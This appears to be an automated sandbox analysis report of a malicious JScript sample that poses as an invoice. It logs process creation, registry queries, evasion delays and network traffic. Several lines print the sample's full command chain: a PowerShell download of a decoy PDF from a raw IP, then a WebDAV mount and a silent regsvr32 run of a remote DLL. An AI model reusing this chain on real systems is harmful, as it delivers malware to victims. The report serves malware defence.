Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8961.js.csv");ITextStream.WriteLine(" entry:8548 f:bvqbka");ITextStream.WriteLine(" exec:2 f:bvqbka");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4858			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4996			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep count: 4858 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep count: 4996 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1743287421.000002304A8E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1740508339.000002304A950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2966686049.000002807CC5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2965512725.000002807762B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
